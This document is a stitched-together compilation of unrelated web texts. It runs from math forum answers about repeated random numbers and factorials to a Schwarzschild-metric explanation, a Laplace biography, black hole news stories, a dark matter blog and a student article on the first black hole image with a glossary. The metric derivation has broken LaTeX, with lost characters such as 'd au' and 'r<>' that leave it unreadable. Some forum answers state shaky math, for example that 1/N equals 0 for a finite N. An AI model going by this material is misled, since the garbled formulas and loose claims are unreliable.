@SandyLee_user53167 I meant an extension of the Birthday Problem. for example, as it states in the Wikipedia article, the probability of getting a number twice from a uniform sample space of $d$ numbers is above half if you choose around $\sqrt{2d\ln 2}$ numbers, so if you get random 32-bit numbers, you should expect to see repetitions after choosing 100,000 numbers or so. – Alfonso Fernandez Jan 28 '13 at 15:56
@sebigu This is more of a philosophical / metaphysical question, because you first have to define what "random" really means, and then you have to determine whether the universe is capable of producing such "random" - this is less relevant here though, because even a decent pseudorandom would have a vanishing probability of repeating itself as the 'sample space' gets larger. – Alfonso Fernandez Jan 28 '13 at 16:07
I must be the world’s worst person to be offering an answer to the question posed in the title, and I will be happy to be slapped down by someone who actually knows probability. But it seems to me that if you want to talk probabilities, you need to specify a probability space, and you need to specify the probability measure on it. Until you do both these things, you are merely talking philosophy, not mathematics.
Consider the example of a unit square $S$ as probability space, and ordinary Lebesgue measure on it, so that the probability of a point being in a subset $A\subset S$ is the area of $A$. Now draw the line from one corner to the opposite corner, and consider this subset $D\subset S$. What is the probability of a point lying on the diagonal $D$? Zero, of course, since a line has zero area. But there are points on the diagonal.
Now, to amplify @Tunococ’s good answer, let me say that one must make a careful distinction between real numbers and computer numbers. There are only a finite number of (floating point) computer numbers in your favorite computer, but uncountably infinitely many real numbers. I once sat in a room where the speaker (correctly) stated that it’s impossible to determine on a computer whether two real numbers are equal, and a Respected Member of the computer science department of my university said “Of course it’s possible: take their difference and see if it’s zero.” But he was wrong. For instance, there’s no way to tell by comparing the numbers on your computer that $\arctan(1/3)+\arctan(1/2)=\pi/4$, even though Pure Thought shows that it’s true.
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The probability that you are the world's worst person to offer an answer to this question is extremely low. – Nathan Long Jan 28 '13 at 20:20
An event having probability zero does not mean it is impossible, but that is unlikely to happen. If you look at the qoutients of all pairs of your numbers, and take the quotient of those which are equal by all pairs, for infitite many pairs this quotient will be zero. This means that there are pairs of equal numbers, but there are relatively few.
Another example: Take a pipe. The probability of the pipe breaking at a point is zero, but the probability for breaking might be not zero. If it breakes, it breakes at a certain point. the probability for this was zero, but it happend.
So, finally, probability zero does only mean relatively unlikely, not impossible.
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Even if you know, that a pipe breaks, but you don't have a knowledge where it did break, the probability it have been broken at a particular point is zero. – Ilya Jan 28 '13 at 14:21
There are number of factors that bound an infinite sample space of a computer program to a finite space:
1. A number in a computer program has a limited fixed representation. This is limited by the hardware.
2. Widely used random number generators (such as Random class in C#) produce only pseudo-random sequences. There are real random number generators, but they produce numbers from finite space.
These limitations transforms the equation:
$P(E)={1\over \infty}=0$
To
$P(E)={1\over N}=0$
Where N is a very large positive finite number.
This makes P(E) a very small positive number.
However, if we consider a hypothetical computer in an ideal environment with infinite amount of memory and processing power to compute real random numbers from infinite space. Then, indeed
$P(E)={1\over \infty}=0$
will hold true and you will never see two identical numbers.
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# Math Help - 2 questions on factorial
1. ## 2 questions on factorial
(1) Why is (r+1)r!=(r+1)!
(2)This is commonly asked : why is 0! =1 ??
2. Originally Posted by mathaddict
(1) Why is (r+1)r!=(r+1)!
(2)This is commonly asked : why is 0! =1 ??
$(r+1)r! = (r+1) \times r(r-1)(r-2)(r-3)\times ...\times 1$
$(r+1)! = (r+1)(r+1-1)(r+1-2)(r+1-3)\times ...\times 1 = (r+1)(r)(r-1)(r-2)\times ...\times 1$
See how they are identical?
Also. We know that $n!= n(n-1)(n-2)(n-3)...1$. This can be written $n! = n(n-1)!$
So, let's look at n = 1, knowing that $1! = 1$
$1! = 1(1-1)!$
$1 = 1(0)!$
$1 = 0!$.
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# Mathematical Analysis of Blackhole
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Mathematically, for black holes old enough that the stellar material has collapsed all the way into the singularity, the region between the horizon and the singularity is occupied by a spacetime where the time and space coordinates are reversed from those of the outside world. What this means in terms of what you experience is unknown. Other more complex conditions can occur of the black hole is rotating. In that case the singularity becomes a ring around the center of the black hole. You can pass through the center, but the tidal gravitational field would be lethal in all likelihood. In nearly all cases there would be gravitational radiation rattling about, and this would cause distortions in spacetime that would probably lead to spectacular optical distortions.
My question is Black hole absorbs everything. Is there any mathematical proof regarding this?
The Schwarzschild metric can be written as $$c^2 d au^2 = left( 1 - frac{r_s}{r} ight) dt^2 - left(1 - frac{r_s}{r} ight)^{-1} dr^2 -… ,$$ where $$r$$ is the radial coordinate, $$t$$ is the coordinate time, $$au$$ is the proper time (that measured on an observer's own clock) and $$r_s = 2GM/c^2$$ is the Schwarzschild radius. I have left out the angular terms on the right hand side which contribute a further negative term independent of whether $$r$$ is greater or less than $$r_s$$.
For an observer with mass, $$d au>0$$; for a massless particle $$d au=0$$ (e.g. a photon).
When $$r<>$$ the first term on the RHS is negative, while the second term becomes positive. In order for the LHS to be $$geq 0$$, then $$left(frac{r_s}{r}-1 ight)^{-1} dr^2 geq left(frac{r_s}{r}-1 ight) dt^2 +…$$ $$left| frac{dr}{dt} ight| geq left(frac{r_s}{r} -1 ight)$$
What this means is that $$dr/dt$$ can never be zero, which means the direction of radial travel can never reverse. ie. Anything that enters a black hole (i.e. for which $$r<>$$) and has $$dr/dt<0$$, can never have $$dr/dt >0$$.
There is a slightly more satisfactory "proof" using Eddington-Finkelstein coordinates, that shows that all future light cones point inwards and that $$dr<0$$ when $$r<>$$.
## Pierre-Simon Laplace
Pierre-Simon, marquis de Laplace ( / l ə ˈ p l ɑː s / French: [pjɛʁ simɔ̃ laplas] 23 March 1749 – 5 March 1827) was a French scholar and polymath whose work was important to the development of engineering, mathematics, statistics, physics, astronomy, and philosophy. He summarized and extended the work of his predecessors in his five-volume Mécanique Céleste (Celestial Mechanics) (1799–1825). This work translated the geometric study of classical mechanics to one based on calculus, opening up a broader range of problems. In statistics, the Bayesian interpretation of probability was developed mainly by Laplace. [2]
Laplace formulated Laplace's equation, and pioneered the Laplace transform which appears in many branches of mathematical physics, a field that he took a leading role in forming. The Laplacian differential operator, widely used in mathematics, is also named after him. He restated and developed the nebular hypothesis of the origin of the Solar System and was one of the first scientists to postulate the existence of black holes and the notion of gravitational collapse.
Laplace is remembered as one of the greatest scientists of all time. Sometimes referred to as the French Newton or Newton of France, he has been described as possessing a phenomenal natural mathematical faculty superior to that of any of his contemporaries. [3] He was Napoleon's examiner when Napoleon attended the École Militaire in Paris in 1784. Laplace became a count of the Empire in 1806 and was named a marquis in 1817, after the Bourbon Restoration.
## Fingerprint Dive into the research topics of 'The mathematical analysis of black holes in general relativity'. Together they form a unique fingerprint.
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Invited Lectures. ed. / Sun Young Jang Young Rock Kim Dae-Woong Lee Ikkwon Yie. KYUNG MOON SA Co. Ltd., 2014. p. 747-772 (Proceeding of the International Congress of Mathematicans, ICM 2014 Vol. 3).
Research output : Chapter in Book/Report/Conference proceeding › Conference contribution
T1 - The mathematical analysis of black holes in general relativity
N2 - The mathematical analysis of black holes in general relativity has been the focus of considerable activity in the past decade from the perspective of the theory of partial differential equations. Much of this work is motivated by the problem of understanding the two celebrated cosmic censorship conjectures in a neighbourhood of the Schwarzschild and Kerr solutions. Recent progress on the behaviour of linear waves on black hole exteriors as well as on the full non-linear vacuum dynamics in the black hole interior puts us at the threshold of a complete understanding of the stability-and instability-properties of these solutions. This talk will survey some of these developments.
AB - The mathematical analysis of black holes in general relativity has been the focus of considerable activity in the past decade from the perspective of the theory of partial differential equations. Much of this work is motivated by the problem of understanding the two celebrated cosmic censorship conjectures in a neighbourhood of the Schwarzschild and Kerr solutions. Recent progress on the behaviour of linear waves on black hole exteriors as well as on the full non-linear vacuum dynamics in the black hole interior puts us at the threshold of a complete understanding of the stability-and instability-properties of these solutions. This talk will survey some of these developments.
## How to ‘seed’ supermassive black holes in the early universe
An artist’s impression of a supermassive black hole surrounded by a vast disc of gas and dust. Image: NASA/JPL-Caltech
A major question mark about the evolution of the early universe is how supermassive black holes managed to form in the first 800 million years or so of the Big Bang. According to conventional wisdom, supermassive black holes form in the central regions of a galaxy and grow primarily by capturing surrounding gas, a process that occurs over long time scales.
But doctoral student Lumen Boco and his advisor Andrea Lapi, both at the Scuola Internazionale Superiore di Studi Avanzati (International School for Advanced Studies) in Trieste, Italy, say they have been able to show, through an analysis published in The Astrophysical Journal, that earlier models for accelerated growth are, in fact, possible.
They began with early galaxies, progenitors of more evolved elliptical galaxies, with a very high gas content.
Such galaxies would have hosted extremely intense waves of early star formation, giving birth to massive suns that quickly burned through their nuclear fuel, exploded in supernova blasts and collapsed to form stellar-mass black holes. The dense gas in those galaxies would have caused them to migrate inward toward the centre of their host galaxy where they could merge to form the “seed” of a supermassive black hole.
“The biggest stars live a short time and very quickly evolve into stellar black holes, as large as several scores of solar masses,” Boco and Lapi write. “They are small, but many form in these galaxies. Our numerical calculations show that the process of dynamic migration and fusion of stellar black holes can make the supermassive black hole seed reach a mass of between 10,000 and 100,000 times that of the Sun in just 50-100 million years.”
Staring from such an initially massive seed, the black hole’s growth by accretion of surrounding gas is accelerated, explaining the presence of such massive black holes in the early universe.
“Starting from such a big seed as envisaged by our mechanism speeds up the global growth of the supermassive black hole and allows its formation … in the young universe. In
short, in light of this theory, we can state that 800 million years after the Big Bang the supermassive black holes could already populate the Cosmos.”
While their conclusion is based on a mathematical analysis, Boco and Lapi say their theory can be tested.
“The fusion of numerous stellar black holes with the seed of the supermassive black hole at the centre will produce gravitational waves, which we expect to see and study with current and future detectors,” the researchers said.
## Researchers Have Found A New Way To Turn A Black Hole Into A Power Station
Nothing can escape a black hole once it has crossed its event horizon but mathematical analysis over the last several decades has shown that there are ways to extract energy from a rotating black hole. Researchers have now revealed new work presenting an innovative way to harness energy out of a black hole, publishing their findings in Physical Review D.
Mathematically speaking, if a black hole rotates then it has an ergosphere. This is a region outside its event horizon (the threshold where to escape the pull of the black hole you’d need to move faster than the speed of light) where it is theoretically possible to steal some of the black hole's energy. Stephen Hawking worked out ways that quantum mechanics can remove energy from black holes. Nobel physicist Roger Penrose has a more mechanical approach that requires following particular orbits. The new work focuses on magnetic fields.
The magnetic fields of complex objects often exhibit the repeated breaking and rejoining of magnetic field lines. This is seen on the Sun for example, with spectacular releases of energy. Researchers believe that this could be the case for black holes too. The right magnetic interaction could accelerate particles away from the black hole, removing some of its energy.
"Black holes are commonly surrounded by a hot 'soup' of plasma particles that carry a magnetic field," Luca Comisso from Columbia University said in a statement. "Our theory shows that when magnetic field lines disconnect and reconnect, in just the right way, they can accelerate plasma particles to negative energies and large amounts of black hole energy can be extracted."
The sci-fi reason why this is exciting is that by getting energy from a black hole, you are getting a lot more energy out compared to the energy supplied. The team estimates that the process could have an efficiency of up to 150 percent, something that is unachievable on Earth. So an advanced alien civilization could decide to use a black hole as an incredible power station if it had the know-how.
The scientific reason it's exciting is that this process might already happen in nature, without the help of intelligent aliens. There are several phenomena surrounding black holes that are not fully understood, such as black hole flares that can be detected from Earth, so it is possible that magnetic reconnection in the ergosphere could help explain what we see.
"Our increased knowledge of how magnetic reconnection occurs in the vicinity of the black hole might be crucial for guiding our interpretation of current and future telescope observations of black holes, such as the ones by the Event Horizon Telescope," said co-author Felipe Asenjo from Universidad Adolfo Ibanez in Chile.
Perhaps in the future, mining energy from black holes could be the answer to our power needs.
"Thousands or millions of years from now, humanity might be able to survive around a black hole without harnessing energy from stars," Comisso said. "It is essentially a technological problem. If we look at the physics, there is nothing that prevents it."
## Black holes like giant balls of string, claims study
Research into what happens when objects fall into black holes may have reconciled two methods of understanding the universe.
Friday 27 July 2018 12:57, UK
A new scientific study to explain how black holes could exist has suggested that they are actually quite like giant balls of string.
Black holes are areas of space-time which are so dense that nothing can escape them - whether it is matter or energy.
But this raises a paradox between two methods of understanding the universe, quantum mechanics and general relativity.
Some physicists have attempted to answer this paradox by suggesting the existence of a burning "firewall" around the edge of black holes, which destroy any objects before they reach a black hole's surface.
But a team from Ohio State University has potentially disproved this by calculating what would happen if an electron fell into a black hole, in a paper published in the Journal of High Energy Physics.
Professor Samir Mathur said: "The probability of the electron hitting a photon from the radiation and burning up is negligible, dropping even further if one considers larger black holes known to exist in space.
"What we've shown in this new study is a flaw in the firewall argument," Professor Mathur added.
### More from Science & Tech
#### Pentagon UFO report: Anticipation is high for impending release of US government information on 'unidentified aerial phenomena'
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After months of intense mathematical analysis, Professor Mathur and his team have established the figures challenging the firewall theory.
Their work uses string theory - a scientific model of the universe which considers everything to be composed of subatomic string-like tubes of energy.
String theory is a way to tie quantum mechanics (the mechanics of particles even smaller than atoms) and Albert Einstein's theory of relativity, which says that all objects fall the same way, despite their mass or composition.
Professor Mathur said he has always been sceptical of the firewall theory, preferring the model of black holes as balls of string, or fuzzballs.
"The question is, 'where does the black hole grab you?' We think that as a person approaches the horizon, the fuzzball surface grows to meet it before it has a chance to reach the hottest part of the radiation, and this is a crucial finding in this new physics paper that invalidates the firewall argument," he said.
"Once a person falling into the black hole is tangled up in strings, there's no easy way to decide what he will feel.
"The firewall argument had seemed like a quick way to prove that something falling through the horizon burns up.
"But we now see that there cannot be any such quick argument what happens can only be decided by detailed calculations in string theory," Professor Mathur added.
## Expository work Show abstracts Hide abstracts
A review of Quantum Ergodicity and related results, including a sketch of the proof of Quantum Ergodicity.
This is a broad review of recent developments related to the fractal uncertainty principle (unlike the previous review which focused in more detail on a single result).
These notes give a self-contained proof of the Stable/Unstable Manifold Theorem (also known as the Hadamard&ndashPerron Theorem) in hyperbolic dynamics. They also give two examples of hyperbolic systems: geodesic flows on negatively curved surfaces and dispersing billiards. The proof of the Stable/Unstable Manifold Theorem starts with a basic model case which however retains the essence of the general case. There are many figures throughout the text, and it is indended as a (somewhat) gentle introduction to some techniques in hyperbolic dynamics.
An expository article for the proceedings of Journées EDP (Roscoff, June 2017) describing the results and the proofs of previous works with Bourgain and Jin on fractal uncertainty principle and its application to control of eigenfunctions.
Lecture notes for lectures given at the Third Symposium on Scattering and Spectral Theory in Florianopolis, Brazil, July 2017 (work in progress).
Lecture notes for lectures given in Tsinghua University in Summer 2016.
Lecture notes for part of the course 18.158 given at MIT in Spring 2016.
A few movies demonstrating decay of correlations and equidistribution of velocities for billiards.
A demonstration of concentration in phase space (measured using the FBI transform) of various solutions to the damped wave equation on the circle with a potential.
Some (rather sloppy) notes for a (rather informal) talk on semiclassical Lagrangian distributions, Fourier integral operators, and their applications to quantization conditions given in March 2012.
This is a short introduction to nontrapping estimates in scattering theory. We discuss (1) how one can obtain exponential decay in obstacle scattering from a nontrapping estimate via the contour deformation argument (2) how to prove the semiclassical propagation of singularities estimate in the presence of a complex absorbing potential via Hörmander's positive commutator method (3) how propagation of singularities and complex scaling lead to a nontrapping estimate in the one-dimensional model case.
An article that served as the final project in Michael Hutchings' course on symplectic geometry in Spring 2009.
## JimsAstronomy
-
-
--------------------- 1636 - What does Dark Matter Look Like?
-
- We don’t know it’s dark. Dark Matter is a discovery that needs more discovery. Astronomers see its gravitational effects, but, that is about as much as we know.
-. Dark Matter accounts for 5.4 times as much mass is ordinary manner in the universe. Ordinary matter is made of protons, neutrons, and electrons. We do not know what Dark Matter is made of, but, the math says it is out there made of something?
-. Ordinary matter in our galaxy is stars, gas, and dust in the structure of a giant disk. Our Milky Way is analogous to a warped vinyl record, 33 1/3 RPM.
-. The thin disk has a pin and wheel spiral pattern. In the center is a dense nucleus hosting a 4,500,000 Solar Mass blackhole. Through the center is in an elongated bulge known as a “bar“. Surrounding all of this is a “halo” of old stars.
-. Dark Matter’s structure is surmised from the gravitational effects on visible ordinary matter. Calculations tell us it is approximately spherical extending far beyond the halo. It's density falls off approximately as a square of the distance from the center the same as gravity does.
-
- At distances of 50,000 light-years from the center of our galaxy it consist mostly of atomic hydrogen and a few stars. By the time you get out 75,000 light-years distance the disc is warped bending 7,500 light-years out of the plane. The gas density is oscillating above and below the plane as it rotates around the center. These oscillations are 100 billion years in their cycle, completing one orbit about the center
-. At one point astronomers thought the neighboring galaxy, the Megellanic Cloud, was gravitationally causing this distortion. However, better measurements have determine thar the Megellanic gravity to be far too weak to have any effect.
-. In addition to the Megellanic Cloud galaxy there are 16 known satellite galaxies orbiting the Milky Way galaxy. Some of these dwarfs contain only a few hundred stars.
-. Could there be Dark Matter galaxies orbiting our galaxy? Could galaxy collisions early in the evolution of our galaxy cause the ringing that warps the shape of our galaxies disk? Could the center of gravity of Dark Matter be offset from the center of gravity of ordinary matter causing the asymmetry to occur? The puzzle of Dark Matter has become one of the most vibrant research areas in both physics and astronomy.
-
- Hydrogen gas emits a spectral line at the radio wavelength of 21 centimeters. Measuring the Doppler shift of this spectral line tells us relative velocities. With a little geometry a graph can be made showing the rotation velocity of stars, or galaxies, and their distances from the gravitational center.
-. Objects further from the center have further to travel and should be moving at faster speeds if the system is all held together. In contrast, the rotation curve for our solar system drops off with distance from the Sun, because inner planets orbit at faster speeds than the outer planets.
-. This is because the system’s mass is at the center, the Sun. The gravitational force holding a planet in orbit decreases as the inverse of the square of the distance from the Sun. A smaller force means lower orbital speed.
-. Our galaxy is different. Unlike the rotation curve for a solar system are galaxies orbital velocities remain constant beyond the inner thousand light-years which makes the rotation curve flat.
-
- Unlike a solar system most of the mass of the galaxy must not be concentrated at the center. The orbits of progressively more distant objects must encircle more and more mass.
-. The Sun's orbit encompasses 100 billion Solar Mass. An orbit twice as large encompasses twice as much mass. Mathematical analysis implies that most of the mass is located in a spherical halo surrounding the disk of our galaxy. It must be 10 times the total mass in the galaxy disk. 90 percent of the total mass must be Dark Matter?
-. For example: a galaxy cluster has a radius of 6.2 million light-years. And an orbiting galaxy has a velocity of 1,350 kilometers per second, 3,019,864 miles per hour.
-
-
-------------------------- M = 4 * pi*a^3 / G * p^2
-
-------------------------- v = 2 * pi* a / p
-
-------------------------- M = r * v^2 / G
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-------------------------- M = 1.6*10^10 r * v^2
-
- The mass is directly proportional to the radius times the velocity squared.
-
-------------------------- M = 1.6 * 10^45 kilograms
-
-------------------------- Solar Mass = 2 * 10^30 kilograms
-
-------------------- M = 8*10^14 Solar Masses
-
- The total mass is 800 trillion Solar Masses
-
- One Milky Way mass is 1 trillion Solar Masses
-
- The Galaxy Cluster is 800 Galaxy Masses
-
-. Comparing the clusters mass to its luminosity determined the cluster's mass is made much, much, greater than the luminosity mass.
-. A second method to determine the clusters mass uses a temperature of X-ray hot gas. The gas temperature is related to the speed of the individual gas particles.
-
------------------ velocity = 140 meters / second * square root of Temperature
-
------------------ The hot gas temperature of the cluster = 90,000,000 Kelvin
-
------------------- v = 140 * (9*10^7)^½
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------------------- v = 1.3 * 10^6 meters per second
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------------------- M = 1.5 * 10^45 kilograms
-
- The Galaxy Cluster is 800 Galaxy Masses, same answer.
-No cluster of galaxy galaxies contains enough visible matter to stay bound together. Galaxies orbit at velocities that should be flying apart. So what is holding them together? The total mass needed to bind a typical cluster is 10 times greater than the mass of the material that shows up in the visible light images.
## Here’s the first picture of a black hole
The first image of a black hole shows a bright ring with a dark, central spot. That ring is a bright disk of gas orbiting the supermassive behemoth in the galaxy M87. The spot is the black hole’s shadow.
Event Horizon Telescope Collaboration
This is what a black hole looks like.
A black hole isn’t really a hole. It’s an object in space with incredible mass packed into a very small area. All that mass creates such a huge gravitational tug that nothing can escape a black hole, including light.
#### Explainer: What are black holes?
The newly imaged supermassive monster lies in a galaxy called M87. A world-spanning network of observatories called the Event Horizon Telescope, or EHT, zoomed in on M87 to create this first-ever picture of a black hole.
“We have seen what we thought was unseeable,” Sheperd Doeleman said April 10 in Washington, D.C. “We have seen and taken a picture of a black hole,” he reported at one of seven concurrent news conferences. Doeleman is EHT’s director. He also is an astrophysicist at the Harvard-Smithsonian Center for Astrophysics in Cambridge, Mass. Results from his team’s work appear in six papers in the Astrophysical Journal Letters.
The concept of a black hole was first hinted at back in the 1780s. The mathematics behind them came from Albert Einstein’s 1915 general theory of relativity. And the phenomenon got its name “black hole” in the 1960s. But until now, all “pictures” of black holes have been illustrations or simulations.
#### “We’ve been studying black holes so long, sometimes it’s easy to forget that none of us have actually seen one.”
###### — France Córdova, director of the National Science Foundation
“We’ve been studying black holes so long, sometimes it’s easy to forget that none of us have actually seen one,” France Córdova said in the Washington, D.C., news conference. She is director of the National Science Foundation. Seeing a black hole “is a Herculean task,” she said.
That’s because black holes are famously hard to see. Their gravity is so extreme that nothing, not even light, can escape across the boundary at a black hole’s edge. That edge is known as the event horizon. But some black holes, especially supermassive ones dwelling in galaxies’ centers, stand out. They gather bright disks of gas and other material that surrounds the black hole. The EHT image reveals the shadow of M87’s black hole on its accretion disk. That disk looks like a fuzzy, asymmetrical ring. It unveils for the first time the dark abyss of one of the universe’s most mysterious objects.
“It’s been such a buildup,” Doeleman said. “It was just astonishment and wonder… to know that you’ve uncovered a part of the universe that was off limits to us.”
The much-anticipated big reveal of the image “lives up to the hype, that’s for sure,” says Priyamvada Natarajan. This astrophysicist at Yale University, in New Haven, Conn., is not on the EHT team. “It really brings home how fortunate we are as a species at this particular time, with the capacity of the human mind to comprehend the universe, to have built all the science and technology to make it happen.”
#### Einstein was right
The new image aligns with what physicists expected a black hole to look like based on the theory of general relativity by Albert Einstein. That theory predicts how spacetime is warped by the extreme mass of a black hole. The picture is “one more strong piece of evidence supporting the existence of black holes. And that, of course, helps verify general relativity,” says Clifford Will. He’s a physicist at the University of Florida in Gainesville, who is not on the EHT team. “Being able to actually see this shadow and to detect it is a tremendous first step.”
Studies in the past have tested general relativity by looking at the motions of stars or gas clouds near a black hole, but never at its edge. “It’s as good as it gets,” Will says. Tiptoe any closer and you’d be inside the black hole. And then you’d be unable to report back on the results of any experiments.
“Black hole environments are a likely place where general relativity would break down,” says EHT team member Feryal Özel. She is an astrophysicist who works at the University of Arizona in Tucson. So testing general relativity in such extreme conditions could reveal things that don’t seem to support Einstein’s predictions.
#### Explainer: Quantum is the world of the super small
However, she adds, just because this first image upholds general relativity “doesn’t mean general relativity is completely fine.” Many physicists think that general relativity won’t be the last word on gravity. That’s because it’s incompatible with another essential physics theory, quantum mechanics. This theory describes physics on very small scales.
The new image provided a new measurement of the size and heft of M87’s black hole. “Our mass determination by just directly looking at the shadow has helped resolve a longstanding controversy,” Sera Markoff said in the Washington, D.C., news conference. She’s a theoretical astrophysicist at the University of Amsterdam in the Netherlands. Estimates made using different techniques have ranged between 3.5 billion and 7.22 billion times the mass of the sun. New EHT measurements show that the mass of this black hole is about 6.5 billion solar masses.
The team also has figured out the behemoth’s size. Its diameter stretches 38 billion kilometers (24 billion miles). And the black hole spins clockwise. “M87 is a monster even by supermassive black hole standards,” Markoff said.
Scientists have been speculating for years about what a black hole would actually look like. Now, they finally know the answer.
EHT trained its sights on both M87’s black hole and Sagittarius A*. That second supermassive black hole sits at the center of our galaxy, the Milky Way. But, the scientists found it easier to image M87’s monster, even though it’s about 2,000 times as far away as Sgr A*.
M87’s black hole sits about 55 million light-years from Earth in the constellation Virgo. But it’s also about 1,000 times as massive as the Milky Way’s giant. Sgr A* only weighs the equivalent of roughly 4 million suns. M87’s extra heft nearly compensates for its greater distance. The size it covers in our sky “is pretty darn similar,” says EHT team member Özel.
Because M87’s black hole is bigger and has more gravity, gases swirling around it move and vary in brightness more slowly than they do around Sgr A*. And here’s why that’s important. “During a single observation, Sgr A* doesn’t sit still, whereas M87 does,” says Özel. “Just based on this ‘Does the black hole sit still and pose for me?’ point of view, we knew M87 would cooperate more.”
With more data analysis, the team hopes to solve some long-standing mysteries about black holes. These include how M87’s black hole spews such a bright jet of charged particles many thousands of light-years into space.
This first image is like the “shot heard round the world” that kicked off the American Revolutionary War, says Avi Loeb. He is an astrophysicist at Harvard University in Cambridge, Mass. “It’s very significant. It gives a glimpse of what the future might hold. But it doesn’t give us all the information that we want.”
The team does not yet have a picture of Sgr A*. But the researchers were able to collect some data on it. They are continuing to analyze those data in the hopes of adding to a new gallery of black hole portraits. Since the appearance of that black hole changes so quickly, the team is having to develop new techniques to analyze the data from it.
“The Milky Way is a very different galaxy from M87,” Loeb notes. Studying such different environments could reveal more details of how black holes behave, he says.
The next look at the M87 and Milky Way behemoths will have to wait, though. Scientists got a lucky stretch of good weather at all eight sites that made up the Event Horizon Telescope in 2017. Then there was bad weather in 2018. (Water vapor in the atmosphere can interfere with the telescope’s measurements.) Technical difficulties cancelled this year’s observing run.
The good news is that by 2020, EHT will include 11 observatories. The Greenland Telescope joined the consortium in 2018. The Kitt Peak National Observatory outside Tucson, Ariz., and the NOrthern Extended Millimeter Array (NOEMA) in the French Alps will join EHT in 2020.
Adding more telescopes should allow the team to extend the image. That would let EHT better capture the jets that spew from the black hole. The researchers also plan to make observations using light having a slightly higher frequency. That can further sharpen the image. And even bigger plans are on the horizon — adding telescopes that orbit Earth. “World domination is not enough for us. We also want to go to space,” Doeleman quipped.
These extra eyes may be just what’s needed to bring black holes into even greater focus.
Staff writer Maria Temming contributed to this story.
### Power Words
align (noun: alignment) To place or organize things in a patterned order, following an apparent line.
astrophysics An area of astronomy that deals with understanding the physical nature of stars and other objects in space. People who work in this field are known as astrophysicists.
behemoth A term for anything that is amazingly big. The term comes from a monstrous animal described in the Bible’s book of Job.
black hole A region of space having a gravitational field so intense that no matter or radiation (including light) can escape.
consortium A group or association of independent organizations.
constellation Patterns formed by prominent stars that lie close to each other in the night sky. Modern astronomers divide the sky into 88 constellations, 12 of which (known as the zodiac) lie along the sun’s path through the sky over the course of a year. Cancri, the original Greek name for the constellation Cancer, is one of those 12 zodiac constellations.
diameter The length of a straight line that runs through the center of a circle or spherical object, starting at the edge on one side and ending at the edge on the far side.
event horizon An imaginary sphere that surrounds a black hole. The more massive the black hole, the bigger the sphere. Anything that happens inside the event horizon is invisible, because gravity is so strong that under normal circumstances even light can’t escape. But according to some theories of physics, in certain situations small amounts of radiation can escape.
galaxy A massive group of stars bound together by gravity. Galaxies, which each typically include between 10 million and 100 trillion stars, also include clouds of gas, dust and the remnants of exploded stars.
gravity The force that attracts anything with mass, or bulk, toward any other thing with mass. The more mass that something has, the greater its gravity.
light-year The distance light travels in one year, about 9.48 trillion kilometers (almost 6 trillion miles). To get some idea of this length, imagine a rope long enough to wrap around the Earth. It would be a little over 40,000 kilometers (24,900 miles) long. Lay it out straight. Now lay another 236 million more that are the same length, end-to-end, right after the first. The total distance they now span would equal one light-year.
mass A number that shows how much an object resists speeding up and slowing down — basically a measure of how much matter that object is made from.
mechanics The study of how things move.
Milky Way The galaxy in which Earth’s solar system resides.
National Science Foundation The U.S. Congress created this independent federal agency in 1950 to promote the advancement of science national health, prosperity and welfare and the nation’s defense. This agency funds nearly one-fourth of all federally supported basic research in U.S. colleges and universities. In many fields such as mathematics, computer science and the social sciences, NSF is the major source of federal funding.
network A group of interconnected people or things. (v.) The act of connecting with other people who work in a given area or do similar thing (such as artists, business leaders or medical-support groups), often by going to gatherings where such people would be expected, and then chatting them up. (n. networking)
observatory (in astronomy) The building or structure (such as a satellite) that houses one or more telescopes.
particle A minute amount of something.
physics The scientific study of the nature and properties of matter and energy. Classical physics is an explanation of the nature and properties of matter and energy that relies on descriptions such as Newton’s laws of motion. Quantum physics, a field of study that emerged later, is a more accurate way of explaining the motions and behavior of matter. A scientist who works in such areas is known as a physicist.
quantum (pl. quanta) A term that refers to the smallest amount of anything, especially of energy or subatomic mass.
quantum mechanics A branch of physics dealing with the behavior of matter on the scale of atoms or subatomic particles.
relativity (in physics) A theory developed by physicist Albert Einstein showing that neither space nor time are constant, but instead affected by one’s velocity and the mass of things in your vicinity.
spacetime A term made essential by Einstein’s theory of relativity, it describes a designation for some spot given in terms of its three-dimensional coordinates in space, along with a fourth coordinate corresponding to time.
standards (in research) The values or materials used as benchmarks against which other things can be compared.
star The basic building block from which galaxies are made. Stars develop when gravity compacts clouds of gas. When they become dense enough to sustain nuclear-fusion reactions, stars will emit light and sometimes other forms of electromagnetic radiation. The sun is our closest star.
sun The star at the center of Earth’s solar system. It’s an average size star about 26,000 light-years from the center of the Milky Way galaxy. Also a term for any sunlike star.
telescope Usually a light-collecting instrument that makes distant objects appear nearer through the use of lenses or a combination of curved mirrors and lenses. Some, however, collect radio emissions (energy from a different portion of the electromagnetic spectrum) through a network of antennas.
theoretical An adjective for an analysis or assessment of something that based on pre-existing knowledge of how things behave. It is not based on experimental trials. Theoretical research tends to use math — usually performed by computers — to predict how or what will occur for some specified series of conditions. Experimental testing or observations of natural systems will then be needed to confirm what had been predicted.
theory (in science) A description of some aspect of the natural world based on extensive observations, tests and reason. A theory can also be a way of organizing a broad body of knowledge that applies in a broad range of circumstances to explain what will happen. Unlike the common definition of theory, a theory in science is not just a hunch. Ideas or conclusions that are based on a theory — and not yet on firm data or observations — are referred to as theoretical. Scientists who use mathematics and/or existing data to project what might happen in new situations are known as theorists.
universe The entire cosmos: All things that exist throughout space and time. It has been expanding since its formation during an event known as the Big Bang, some 13.8 billion years ago (give or take a few hundred million years).
verify (n. verification) To demonstrate or confirm in some way that a particular claim or suspicion is true.
weather Conditions in the atmosphere at a localized place and a particular time. It is usually described in terms of particular features, such as air pressure, humidity, moisture, any precipitation (rain, snow or ice), temperature and wind speed. Weather constitutes the actual conditions that occur at any time and place. It’s different from climate, which is a description of the conditions that tend to occur in some general region during a particular month or season.
### Citations
Journal: The Event Horizon Telescope Collaboration et al. First M87 Event Horizon Telescope Results. I. The Shadow of the Supermassive Black Hole. The Astrophysical Journal Letters. Published online April 10, 2019. doi:10.3847/2041-8213/ab0cc7.
Journal: The Event Horizon Telescope Collaboration et al. First M87 Event Horizon Telescope Results. II. Array and Instrumentation. The Astrophysical Journal Letters. Published online April 10, 2019. doi:10.3847/2041-8213/ab0c96.
Journal: The Event Horizon Telescope Collaboration et al. First M87 Event Horizon Telescope Results. III. Data Processing and Calibration. The Astrophysical Journal Letters. Published online April 10, 2019. doi:10.3847/2041-8213/ab0c57.
